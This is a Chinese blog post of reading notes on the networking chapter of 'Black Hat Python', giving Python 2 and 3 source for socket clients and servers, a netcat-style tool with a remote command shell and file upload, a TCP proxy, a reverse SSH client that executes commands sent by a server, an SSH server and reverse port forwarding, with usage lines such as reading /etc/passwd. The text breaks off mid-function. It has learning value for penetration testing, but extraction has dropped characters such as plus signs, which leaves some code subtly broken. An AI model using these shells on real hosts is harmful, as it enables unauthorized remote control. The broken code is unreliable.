网络基础
前言
《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书
本篇是第2章网络基础,主要是socket模块的使用,同时也是后面篇章的基础
1、网络基础
(1)TCP客户端
一个简单的TCP客户端如下:
- 建立socket对象
- 连接到服务器
- 发送数据
- 接收并打印响应数据
#!/usr/bin/env python
#-*- coding:utf8 -*-
import socket
target_host = "127.0.0.1"
target_port = 8888
#建立一个socket对象(AF_INET:使用标准IPV4地址和主机名,SOCK_STREAM:TCP客户端)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接客户端
client.connect((target_host,target_port))
# 发送一些数据
client.send("GET / HTTP/1.1rnHost:baidu.comrnrn")
# 接收一些数据(4096个字符)
response = client.recv(4096)
print response
可以看到这里做了一定假设:
- 连接总能成功建立
- 服务器总是期望客户端先发数据
- 服务器每次都能及时返回数据
这些都要根据实际情况调整
(2)UDP客户端
简单的修改
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf8 -*-
import socket
target_host = "127.0.0.1"
target_port = 9999
#建立一个socket对象(SOCK_DGRAM:UDP客户端)
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 发送一些数据
client.sendto("AAABBBCCC你收到了吗",(target_host,target_port))
# 接收一些数据(4096个字符),将会收到回传的数据和远程主机的信息和端口号
data, addr = client.recvfrom(4096)
print data
print addr
(3)TCP服务器
一个标准多线程TCP服务器如下:
- 监听IP和端口
- 设置连接数
- 一个客户端成功连接时,启动线程处理
#!/usr/bin/env python
#-*- coding:utf8 -*-
import socket
import threading
bind_ip = "0.0.0.0" #绑定ip:这里代表任何ip地址
bind_port = 8888
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
# 最大连接数为5
server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip, bind_port)
# 这是客户处理进程
def handle_client(client_socket):
#打印出客户端发送得到的内容
request = client_socket.recv(1024)
print "[*] Received: %s" % request
#发送一个数据包
client_socket.send("ACK!")
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])
#挂起客户端线程,处理传入的数据
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
2、取代netcat
netcat,瑞士军刀! 现在想办法实现相似的功能
(1)bhnet.py 脚本
这里创建一个bhnet.py
- 简单实现客户端和服务器来传递想要的文件
- 创建一个监听端来拥有控制命令行的操作权限
#!/usr/bin/env python
#-*- coding:utf8 -*-
import sys
import socket
import getopt
import threading
import subprocess
# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def run_command(command):
# 删除字符串末尾的空格
command = command.rstrip()
# 运行命令并将输出放回
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.rn"
# 将输出发送
return output
# 文件上传、命令执行
def client_handler(client_socket):
global upload
global execute
global command
# 检查上传文件
if len(upload_destination):
# 读取所有的字符并写下目标
file_buffer = ""
# 持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer = data
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %srn" % upload_destination)
except:
client_socket.send("Failed to save file to %srn" % upload_destination)
# 检查命令执行
if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令行shell,那么我们进入另一个循环
if command:
while True:
# 跳出一个窗口
client_socket.send("<BHP:#>")
cmd_buffer = ""
while "n" not in cmd_buffer:
cmd_buffer = client_socket.recv(1024)
# 返回命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client_socket.send(response)
# 服务端
def server_loop():
global target
# 如果没有定义目标,那我们监听所有接口
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# 分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
# 客户端
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接到目标主机
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
# 现在等待数据回传
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response = data
if recv_len < 4096:
break
print response
# 等待更多的输入
buffer = raw_input("")
buffer = "n"
# 发送出去
client.send(buffer)
except:
print "[*] Exception! Exiting."
#关闭连接
client.close()
# usage
def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host - p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection"
print "-c --command - initialize a commandshell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print
print
print "Examples:"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd""
print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
# 主函数
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# 读取命令行选项,若没有该选项则显示用法
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
#我们是进行监听还是仅从标准输入读取数据并发送数据?
if not listen and len(target) and port > 0:
# 从命令行读取内存数据
# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read()
# 发送数据
client_sender(buffer)
# 我们开始监听并准备上传文件,执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项
if listen:
server_loop()
#调用main函数
if __name__ == '__main__':
main()
Python3版本
代码语言:javascript复制#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5
import sys
import socket
import getopt
import threading
import subprocess
# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
# usage
def usage():
print("BHP NET TOOL")
print("")
print("Usage: bhpet.py -t target_host -p port")
print("-l --listen - listen on [host]: [port] for incoming connections")
print("-e --execute=file_to_run - excute the give file upon receiving a connection")
print("-c --command - initialize a command shell")
print("-u -upload=destination - upon receiving connection upload a file and write to [destination]")
print("Examples: ")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.ext")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e='cat /etc/passwd'")
print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
sys.exit(0)
# 客户端
def client_sender():
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接到目标主机
client.connect((target, port))
print("Successfully connect to %s: %s" %(target, port))
# if len(buffer):
# client.send(buffer.encode('utf-8'))
while True:
# 现在等待数据回传
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096).decode('utf-8')
recv_len = len(data)
response = data
if recv_len < 4096:
break
print(response)
# 等待输入
buffer = str(input(""))
buffer = "n"
# 发送出去
# print("sending....")
client.send(buffer.encode('utf-8'))
# print("[%s] has been sent Successfully" % buffer.encode('utf-8'))
except:
print("[*] Exception Exiting.")
# 关闭连接
client.close()
# 服务端
def server_loop():
global target
# 如果没有设置监听目标,那么我们默认监听本地
if not len(target):
target = "127.0.0.1"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
print("waiting for connection...")
while True:
client_socket, addr = server.accept()
print("Successfully connect to %s: %s" % addr)
# 分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args=[client_socket, ])
client_thread.start()
def run_command(command):
# 换行
command = command.rstrip()
# 运行命令并将结果返回
try:
# output = subprocess.getoutput(command)
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "failed to execute command.rn"
# 将输出发送
return output
# 实现功能
def client_handler(client_socket):
global upload
global command
global execute
print("这里是client_handler")
# 检测上传文件
if len(upload_destination):
# 读取所有的字符并写下目标
file_buffer = ""
print("waiting for write to %s...n" % upload_destination)
# 持续读取数据直到没有符合的数据
while True:
file_buffer = ""
while True:
client_socket.send(b' Please input the file's content:n')
print("receiving")
data = client_socket.recv(1024)
print("the data is %s" % data)
if b'exit' in data:
break
else:
file_buffer = data.decode('utf-8')
print("the file_buffer is %sn" % file_buffer)
# 现在我们接收这些数据并将它们写出来
try:
file_descriptor = open(upload_destination, "w")
file_descriptor.write(file_buffer)
file_descriptor.close()
# 确认文件已经写出来
client_socket.send(b'Successfully saved file to %srn' % upload_destination.encode('utf-8'))
except:
client_socket.send(b'Fail to save file to %srn' % upload_destination.encode('utf-8'))
# 检查命令执行
if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令行shell, 那么我们进入另一个循环
if command:
while True:
# 跳出一个窗口
client_socket.send(" n<BHP: #> ".encode('utf-8'))
# 现在我们接收文件直到发现换行符
cmd_buffer = ""
while "n" not in cmd_buffer:
cmd_buffer = client_socket.recv(1024).decode('utf-8')
# 返还命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client_socket.send(response)
# 主函数
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# 读取命令行选项
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print(str(err))
usage
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--command"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
# 我们是监听还是仅从标准输入发送数据
if not listen and len(target) and port > 0:
# 执行客户端程序
client_sender()
# 我们开始监听并准备上传文件、执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项
if listen:
# 执行服务端程序
server_loop()
if __name__ == '__main__':
main()
(2)运行方法
1、获取shell执行命令
目标机(服务端)
代码语言:javascript复制./bhnet.py -l -p 9999 -c
攻击机(客户端)
代码语言:javascript复制./bhnet.py -t localhost -p 9999
2、发送http请求
客户端
代码语言:javascript复制echo -ne "GET / HTTP/1.1rnHost:www.baidu.comrnrn" | ./bhnet.py -t www.baidu.com -p 9999
3、创建一个TCP代理
部署简单的TCP代理了解未知协议,修改发送到应用的数据包,或者为fuzz创建测试环境
(1)TCPproxy.py 脚本
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf8 -*-
import sys
import socket
import threading
def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
s = src[i:i length]
hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append(b"X %-*s %s" % (i, length*(digits 1), hexa, text))
print b'n'.join(result)
def receive_from(connection):
buffer = ""
#我们设置了两秒的超时,这取决与目标的情况, 可能需要调整
connection.settimeout(2)
try:
# 持续从缓存中读取数据直到没有数据或者超时
while True:
data = connection.recv(4096)
if not data:
break
buffer = data
except:
pass #pass是空语句,是为了保持程序结构的完整性,防止报错
return buffer
def request_handler(buffer):
# 执行包修改
return buffer
def response_handler(buffer):
# 执行包修改
return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
# 连接远程主机
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host, remote_port))
# 如果必要从远程主机接收数据
if receive_first:
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
# 发送给我们的响应处理
remote_buffer = response_handler(remote_buffer)
# 如果我们有数据传递给本地客户端,发送它
if len(remote_buffer):
print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
client_socket.send(remote_buffer)
# 现在我们从本地循环读取数据,发送给远程主机和本地主机
while True:
# 从本地读取数据
local_buffer = receive_from(client_socket)
if len(local_buffer):
print "[==>] Received %d bytes from localhost" % len(local_buffer)
hexdump(local_buffer)
# 发送给我们的本地请求
local_buffer = request_handler(local_buffer)
# 向远程主机发送数据
remote_socket.send(local_buffer)
print "[==>] Sent to remote."
# 接受响应的数据
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print "[<==] Received %d bytes from remote." % len(remote_buffer)
hexdump(remote_buffer)
#发送到响应处理函数
remote_buffer = response_handler(remote_buffer)
#将响应发送给本地socket
client_socket.send(remote_buffer)
print "[<==] Sent to localhost."
#如果两边都没有数据,关闭连接
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print "[*] No more data. Closing connections."
break
def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((local_host, local_port))
except:
print "[!!] Failed to listen on %s:%d" % (local_host, local_port)
print "[!!] Check for other listening sockets or correct permissions."
sys.exit(0)
print "[*] Listening on %s:%d" % (local_host, local_port)
server.listen(5)
while True:
client_socket, addr = server.accept()
#打印出本地连接信息
print "[==>] Received incoming connectiong from %s:%d" % (addr[0], addr[1])
#开启一个线程与远程主机通信
proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))
proxy_thread.start()
def main():
# 没有华丽的命令行解析
if len(sys.argv[1:]) != 5:
print "Usage: ./tcpProxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
print "Example: ./tcpProxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)
# 设置本地监听参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])
#设置远程目标
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
#告诉代理在发送给远程主机之前连接和接受数据
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
#现在设置好我们的监听socket
server_loop(local_host, local_port, remote_host, remote_port, receive_first)
if __name__ == '__main__':
main()
Python3版本
代码语言:javascript复制#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5
import sys
import socket
import threading
def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((local_host, local_port))
except:
print("[!!] Fail to listen on %s: %d" % (local_host, local_port))
print("[!!] Check for other listening sockets correct permissions.")
sys.exit(0)
print("[*] Listening on %s: %d" %(local_host, local_port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# 打印出本地连接信息
print("[>>==] Received incoming connection from %s: %d" %(addr[0], addr[1]))
# 开启一个线程与远程主机通信
proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))
proxy_thread.start()
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
#连接远程主机
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host, remote_port))
# 如果必要从远程主机接收数据
if receive_first:
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
# 发送给我们的响应处理
remote_buffer = response_handler(remote_buffer)
# 如果我们有数据传递给本地客户端,发送它
if len(remote_buffer):
print("[<<==] Sending %d bytes to localhost."%len(remote_buffer))
client_socket.send(remote_buffer)
# 现在我们从本地循环读取数据。发送给远程主机和本地主机
while True:
# 从本地读取数据
local_buffer = receive_from(client_socket)
if len(local_buffer):
print("[>>==] Received %d bytes from localhost."%len(local_buffer))
hexdump(local_buffer)
# 发送给我们的本地请求
local_buffer = request_handler(local_buffer)
# 向远程主机发送数据
remote_socket.send(local_buffer)
print("[==>>] Sent to remote.")
# 接收响应的数据
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print("[==<<] Received %d bytes from remote. " % len(remote_buffer))
hexdump(remote_buffer)
# 发送到响应处理函数
remote_buffer = response_handler(remote_buffer)
# 将响应发送给本地socket
client_socket.send(remote_buffer)
print("[<<==] Sent to localhost")
# 如果两边都没有数据,关闭连接
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print("[*] No more data. Closing connections.")
break
def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, str) else 2
for i in range(0, len(src), length):
s = src[i:i length]
hexa = ' '.join([hex(x)[2:].upper().zfill(digits) for x in s])
text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
result.append("{0:04X}".format(i) ' ' * 3 hexa.ljust(length * (digits 1)) ' ' * 3 "{0}".format(text))
# return 'n'.join(result)
print('n'.join(result))
def receive_from(connection):
buffer= ""
# 我们设置了两秒的超时,这取决于目标的情况,肯需要调整
connection.settimeout(2)
try:
# 持续从缓存中读取数据,直到没有数据或超时
while True:
data = connection.recv(4096)
if not data:
break
data = bytes.decode(data)
buffer = data
buffer = str.encode(buffer)
except:
pass
return buffer
# 对目标是远程主机的请求进行修改
def request_handler(buffer):
# 执行包修改
return buffer
# 对目标是本地主机的响应进行修改
def response_handler(buffer):
# 执行包修改
return buffer
def main():
if len(sys.argv[1:])!=5:
print("Usage: ./proxy.py [localhost][localport][remotehost][remoteport][receive_first]")
sys.exit(0)
# 设置本地监听参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])
# 设置远程目标
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# 告诉代理在发送给远程主机之前连接和接收数据
receive_first = sys.argv[5]
if 'True' in receive_first:
receive_first = True
else:
receive_first = False
# 现在我们设置好我们的监听socket
server_loop(local_host, local_port, remote_host, remote_port, receive_first)
if __name__ == '__main__':
main()
(2)运行方法
代码语言:javascript复制
代码语言:javascript复制sudo ./TCPproxy.py 127.0.0.1 21 ftp.taget.ca 21 True
4、通过Paramiko使用SSH
Paramiko库中的PyCrypto能轻松上手SSH2协议
(1)客户端连接SSH服务器
创建一个函数连接SSH服务器并执行一条命令
代码语言:javascript复制#-*- coding:utf8 -*-
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #设置自动添加和保存目标ssh服务器的ssh密钥
client.connect(ip, username=user, password=passwd) #连接
ssh_session = client.get_transport().open_session() #打开会话
if ssh_session.active:
ssh_session.exec_command(command) #执行命令
print ssh_session.recv(1024) #返回命令执行结果(1024个字符)
return
#调用函数,以用户pi及其密码连接我自己的树莓派,并执行id这个命令
ssh_command('192.168.88.105', 'pi', 'raspberry', 'id')
(2)反向从服务端发向客户端
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf8 -*-
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command, port = 22):
client = paramiko.SSHClient()
# client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #设置自动添加和保存目标ssh服务器的ssh密钥
client.connect(ip, port, username=user, password=passwd) #连接
ssh_session = client.get_transport().open_session() #打开会话
if ssh_session.active:
ssh_session.exec_command(command) #执行命令
print ssh_session.recv(1024) #返回命令执行结果(1024个字符)
while True:
command = ssh_session.recv(1024) #从ssh服务器获取命令
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(str(cmd_output))
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('10.10.10.145', 'root', 'lovepython', 'ClientConnected', 2222)
Python3版本
代码语言:javascript复制#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5
# import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# 密钥验证
# client.load_host_keys('/home/justin/.ssh/known_hosts')
# 允许连接不在known_hosts文件上的主机
client.set_missing_host_key_policy(paramiko.AutoAddPolicy)
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command.encode())
print(ssh_session.recv(1024).decode())
while True:
# 得到执行的命令
command = ssh_session.recv(1024).decode()
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception as e:
ssh_session.send(str(e).encode())
client.close()
return
ssh_command('192.168.230.129', 'justin', 'lovesthepython', 'ClientConnection')
(3)创建一个SSH服务端
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf8 -*-
import socket
import paramiko
import threading
import sys
# 使用 Paramiko示例文件的密钥
#host_key = paramiko.RSAKey(filename='test_rsa.key')
host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'root') and (password == 'lovepython'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #TCP socket
#这里value设置为1,表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port)) #绑定ip和端口
sock.listen(100) #最大连接数为100
print '[ ] Listening for connection ...'
client, addr = sock.accept()
except Exception, e:
print '[-] Listen failed: ' str(e)
sys.exit(1)
print '[ ] Got a connection!'
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH negotiation failed'
chan = bhSession.accept(20) #设置超时值为20
print '[ ] Authenticated!'
print chan.recv(1024)
chan.send("Welcome to my ssh")
while True:
try:
command = raw_input("Enter command:").strip("n") #strip移除字符串头尾指定的字符(默认为空格),这里是换行
if command != 'exit':
chan.send(command)
print chan.recv(1024) 'n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Caught exception: ' str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)
Python3版本
代码语言:javascript复制#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5
import socket
import paramiko
import threading
import sys
# 使用paramiko示例文件的密钥
host_key = paramiko.RSAKey(filename='test_rsa.key')
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if(username == 'justin') and (password == 'lovesthepython'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# sock.setsockopt(sock, sock.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print("[ ] Listening for connection...")
client, addr = sock.accept()
except Exception as e:
print("[-] Listen failed: " str(e))
sys.exit(1)
print("[ ] Got a connection ! ")
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException as x:
print("[-] SSH negotiation failed.")
chan = bhSession.accept(20)
print("[ ] Authenticated")
print(chan.recv(1024).decode())
chan.send(b'Welcome to bh_ssh')
while True:
try:
command = input("Enter command: ").strip('n')
if command != 'exit':
chan.send(command)
print(chan.recv(1024).decode() 'n')
else:
chan.send(b'exit')
print("exiting")
bhSession.close()
raise Exception('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception as e:
print("[-] Caught exception: " str(e))
try:
bhSession.close()
except:
pass
sys.exit(1)
5、SSH隧道
SSH隧道转发,看图理解
但是大部分Windows不运行SSH服务,那么可以反向SSH
代码语言:javascript复制#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Copyright (C) 2008 Robey Pointer <robeypointer@gmail.com>
#
# This file is part of paramiko.
#
# Paramiko is free software; you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation; either version 2.1 of the License, or (at your option)
# any later version.
#
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
# details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
"""
Sample script showing how to do remote port forwarding over paramiko.
This script connects to the requested SSH server and sets up remote port
forwarding (the openssh -R option) from a remote port through a tunneled
connection to a destination reachable from the local machine.
"""
import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser
import paramiko
SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True
def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
return
verbose('Connected! Tunnel open %r -> %r -> %r' % (chan.origin_addr,
chan.getpeername(), (host, port)))
while True:
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
verbose('Tunnel closed from %r' % (chan.origin_addr,))
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
transport.request_port_forward('', server_port)
while True:
chan = transport.accept(1000)
if chan is None:
continue
thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
thr.setDaemon(True)
thr.start()
def verbose(s):
if g_verbose:
print(s)
HELP = """
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""
def get_host_port(spec, default_port):
"parse 'hostname:22' into a host and port, with the port optional"
args = (spec.split(':', 1) [default_port])[:2]
args[1] = int(args[1])
return args[0], args[1]
def parse_options():
global g_verbose
parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',
version='%prog 1.0', description=HELP)
parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
help='squelch all informational output')
parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
default=DEFAULT_PORT,
help='port on server to forward (default: %d)' % DEFAULT_PORT)
parser.add_option('-u', '--user', action='store', type='string', dest='user',
default=getpass.getuser(),
help='username for SSH authentication (default: %s)' % getpass.getuser())
parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
default=None,
help='private key file to use for SSH authentication')
parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
help='don't look for or use a private key file')
parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
help='read password (for key or password auth) from stdin')
parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
help='remote host and port to forward to')
options, args = parser.parse_args()
if len(args) != 1:
parser.error('Incorrect number of arguments.')
if options.remote is None:
parser.error('Remote address required (-r).')
g_verbose = options.verbose
server_host, server_port = get_host_port(args[0], SSH_PORT)
remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
return options, (server_host, server_port), (remote_host, remote_port)
def main():
options, server, remote = parse_options()
password = None
if options.readpass:
password = getpass.getpass('Enter SSH password: ')
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
try:
client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile,
look_for_keys=options.look_for_keys, password=password)
except Exception as e:
print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
sys.exit(1)
verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))
try:
reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
except KeyboardInterrupt:
print('C-c: Port forwarding stopped.')
sys.exit(0)
if __name__ == '__main__':
main()
Python3版本
代码语言:javascript复制#!/usr/bin/env python
# -*- coding:utf-8 -*-
# example:python rforward.py 192.168.100.123 -p 8080 -r 192.168.100.128:80 --user justin --password
import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser
import paramiko
SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True
def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
return
verbose(
"Connected! Tunnel open %r -> %r -> %r"
% (chan.origin_addr, chan.getpeername(), (host, port))
)
while True:
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
verbose("Tunnel closed from %r" % (chan.origin_addr,))
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
